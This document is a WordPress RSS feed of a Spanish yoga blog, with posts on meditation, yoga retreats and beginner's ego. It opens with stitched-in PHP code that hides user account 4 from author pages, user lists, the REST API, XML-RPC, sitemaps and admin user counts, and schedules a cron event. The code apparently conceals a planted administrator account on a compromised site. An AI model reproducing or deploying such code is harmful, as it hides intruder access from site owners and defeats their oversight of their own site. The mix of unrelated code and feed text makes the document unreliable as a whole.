add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
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add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
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add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
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} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
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add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
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add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
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    $exclude[] = 4;
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    return $args;
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            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
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}, 10, 3 );

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        $methods['wp.getUsers'],
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    );
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                },
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	<title>Meditación &#8211; Yoga con Arjuna</title>
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		<title>Las MEDITACIÓNES con ARJUNA</title>
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		<pubDate>Wed, 29 Jul 2015 16:33:16 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
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		<description><![CDATA[<p>Si pones en Wikipedia meditación te dice: -La meditación describe la práctica de un estado de atención concentrada en una deidad, objeto externo, pensamiento, la propia conciencia, o el propio estado de concentración. La meditación es un componente de diversas religiones o doctrinas filosóficas. Es usada también con propósitos intelectuales o de salud. Bajo mi...&#160;<a href="http://www.yogaconarjuna.com/2015/07/29/la-meditaciones-con-arjuna/">[Leer&#160;más]</a></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2015/07/29/la-meditaciones-con-arjuna/">Las MEDITACIÓNES con ARJUNA</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Si pones en Wikipedia meditación te dice:<br />
-La meditación describe la práctica de un estado de atención concentrada en una deidad, objeto externo, pensamiento, la propia conciencia, o el propio estado de concentración. La meditación es un componente de diversas religiones o doctrinas filosóficas. Es usada también con propósitos intelectuales o de salud. Bajo mi punto de vista, si quieres conocer el verdadero significado de la meditación, medita.</p>
<p>Diferentes formas y técnicas de meditación hay en el mundo, dinámicas, de visualización, con mantras, yantras, en silencio&#8230;</p>
<p>La idea es empezar y saber el objetivo de la meditación, ya que la principal finalidad en esta era en que estamos es ordenar la mente.</p>
<p>Vivimos dispersos, aturdidos de información y colapsados por la velocidad en que nos movemos. La MEDITACIÓN nos aísla de este mundo atroz de las prisas, ansiedades, de los ahora ya&#8230;</p>
<p>Los primeros resquicios de la meditación los encontramos en la India, en concreto del Vedantismo del año 1500 antes de Cristo.</p>
<p>Arqueólogos encontraron en la India figuras y grabados que han sido rastreados al año 3000 antes de Cristo, en lo que se presentan figuras sentadas en la clásica postura de meditación – Flor de Lotto – por lo que se cree que la meditación tiene al menos 5 mil años de antigüedad.</p>
<p>Desde entonces el camino a la iluminación según los grandes maestros pasaba por dedicar horas y horas a la meditación.</p>
<p>En este momento de evolución y cada vez más, empieza a formar parte de la vida social y ya no es de «gente rara» el meditar. Escuelas avanzadas ya lo incluyen e incluso grandes multinacionales obligan a su personal a tomar clases de meditación y yoga, con el fin de ayudar a rentabilizar la productividad de la empresa. Demostrado ya científicamente que es 100% rentable, ya que reduce el estrés y mejora la actitud laboral.</p>
<p>Como meditar:</p>
<p>Para empezar es importante tener tu momento, a poder ser por la mañana que es cuando la mente está más tranquila. Si eres principiante el lugar ha de ser tranquilo ya que cualquier distracción te llevará a la mente. Más adelante, cuando avances en la práctica, tal como decía Krishnamurti: &#8211; «Medita en el caos ya que en un ambiente sosegado es muy sencillo».<br />
La idea no es dejar la mente en blanco, sino el tomar las riendas de lo que a veces es una caballo loco. Apaciguar la mente, respirar, tomar conciencia del momento presente y sentir algo tan básico como tu respiración&#8230;</p>
<p>Adopta una buena actitud; Columna bien erguida, lumbares relajadas, afloja por completo tu cuerpo, toma conciencia del momento presente, ordena a tu mente que se relaje y pasa una cámara mental haciendo un test para ver como te encuentras en este momento. Observa como estas a nivel físico, mental, emocional y energético.</p>
<p>La respiración será consciente en todo momento, la inhalación y la exhalación han de ser por la misma nariz. A partir de ahí, siente como inhalando tu respiración crece de abajo a arriba utilizando toda tu capacidad pulmonar. Exhalando vacías el aire en sentido inverso, suavemente dejando que la respiración se dignifique y se instale en tu ser. Dejando así instalada una respiración consciente que te ayudará a estar en el aquí y ahora.</p>
<p>A partir de aquí mantente presente en lo q sucede, deja que poco a poco crezca tu respiración y no caigas en tus trampas mentales, fluye con la respiración y si surgen pensamientos déjalos que desaparezcan sin implicarte.</p>
<p>Esta es una de mis introducciones a la hora de guiar<b> Las MEDITACIONES con ARJUNA</b>, te ayudará a tomar conciencia del presente y dejar a un lado los pensamientos negativos.</p>
<p>Empieza con estas bases y veras que fácil, más adelante te enseñaré diferentes técnicas.</p>
<p>Desde aquí te invito a meditar diariamente para que puedas vivir con más consciencia y de forma equilibrada, recuerda que meditar regularmente te aporta salud física, mental, emocional y energética para tu vida.</p>
<p><a href="http://www.yogaconarjuna.com/wp-content/uploads/2015/07/img_0529.jpg"><img class="alignnone wp-image-247" src="http://www.yogaconarjuna.com/wp-content/uploads/2015/07/img_0529.jpg?w=300" alt="IMG_0529" width="739" height="732" /></a><br />
<b>Arjuna </b></p>
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		<title>EL RETIRO DEL YOGUI</title>
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		<pubDate>Mon, 20 Jul 2015 21:00:45 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
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		<description><![CDATA[<p>El la vida de un practicante de Yoga, llega un momento en que es necesario unirse con otros practicantes para compartir conocimientos, vivencias, y si en caso que vivas en la ciudad dirigirte a la naturaleza. Es ahí donde empieza tu sanación, cuando te envuelves de la madre tierra. Cuando la ingesta de alimentos es...&#160;<a href="http://www.yogaconarjuna.com/2015/07/20/el-retiro-del-yogui/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p>El la vida de un practicante de Yoga, llega un momento en que es necesario unirse con otros practicantes para compartir conocimientos, vivencias, y si en caso que vivas en la ciudad dirigirte a la naturaleza. Es ahí donde empieza tu sanación, cuando te envuelves de la madre tierra. Cuando la ingesta de alimentos es saludable y todo tiene otra velocidad, dónde limpiamos nuestras retinas al disfrutar de los verdes paisajes y oxigenamos nuestros pulmones con aire puro.<br />
Es el momento de dirigir toda tu energía en ti mismo y transformarte en un ser un poquito más evolucionado, es el tiempo que un practicante de Yoga deja atrás sus quehaceres y busca <b>EL RETIRO DEL YOGUI</b>.</p>
<p>En el retiro buscas la mejora de tu práctica, el resolver temas internos, aislarte de la ciudad para envolverte de la esencia de la naturaleza para despertar tus sentidos, unir con todos los ejercicios que mejoran tu practica, los momentos de soledad serán buenos en un retiro para aprovechar y evaluar tu estado físico,mental, emocional y energético.</p>
<p>En fin, multitudes de beneficios los cuales un practicante de Yoga necesita. Es el momento en que el yogui despierta, deja su vida cotidiana y se de dedica al auto conocimiento, recargarse, saber donde se encuentra y a donde se dirige&#8230;</p>
<p><a href="http://www.yogaconarjuna.com/wp-content/uploads/2015/07/2015-07-18-18-16-35.jpg"><img class="alignnone  wp-image-241" src="http://www.yogaconarjuna.com/wp-content/uploads/2015/07/2015-07-18-18-16-35.jpg?w=300" alt="2015-07-18 18.16.35" width="631" height="476" /></a></p>
<p><b>Arjuna</b></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2015/07/20/el-retiro-del-yogui/">EL RETIRO DEL YOGUI</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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		<title>EL EGO DEL PRINCIPIANTE </title>
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		<pubDate>Thu, 09 Jul 2015 16:36:16 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Desapego]]></category>
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		<category><![CDATA[Meditación]]></category>
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		<category><![CDATA[EGO]]></category>

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		<description><![CDATA[<p>Yo, tu, el, nosotros, vosotros, ellos&#8230; Todos en algo hemos sido principiantes alguna vez. En el mundo del Yoga también existe «El ego del principiante» a pesar de que es una filosofía en la cual trabaja valores como la humildad, el respeto, la interiorización&#8230; La falta de experiencia, la curiosidad mental y sobretodo el ego...&#160;<a href="http://www.yogaconarjuna.com/2015/07/09/el-ego-del-principiante/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p>Yo, tu, el, nosotros, vosotros, ellos&#8230; Todos en algo hemos sido principiantes alguna vez.</p>
<p>En el mundo del Yoga también existe «El ego del principiante» a pesar de que es una filosofía en la cual trabaja valores como la humildad, el respeto, la interiorización&#8230; La falta de experiencia, la curiosidad mental y sobretodo el ego nos hace abrir ojos observar al profesor o al compañero y dejarnos llevar hacia la vía de la competencia&#8230; Y&#8230; Error!!!</p>
<p>Nunca podrás avanzar internamente si  practicas con ego, debes dejarlo para otras cosas. En la práctica del Yoga vacía tu vaso cada vez qué empieces, de este modo avanzaras en todos los campos.</p>
<p>Yo siempre digo a mis alumnos que no se queden con las «asanas» eso es muy mundano, lo difícil es la interiorización y el camino es la conexión con el todo; Ser, presente, cuerpo físico, estado meditativo&#8230; Y el objetivo es la meditación, ahí es el momento «Samadhi» El despertar, el salir de tu practica con plenitud, lleno de amor y equilibrado.</p>
<p>Así que mensajito a tod@s los Yoguis, dejar el ego en la puerta de la escuela y tomar contacto con las sensaciones del yoga en estado puro, sin egos</p>
<p><a href="https://yogaconarjuna.files.wordpress.com/2015/07/img_9309.jpg"><img src="https://yogaconarjuna.files.wordpress.com/2015/07/img_9309.jpg" alt="" /></a><br />
<strong>Arjuna</strong></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2015/07/09/el-ego-del-principiante/">EL EGO DEL PRINCIPIANTE </a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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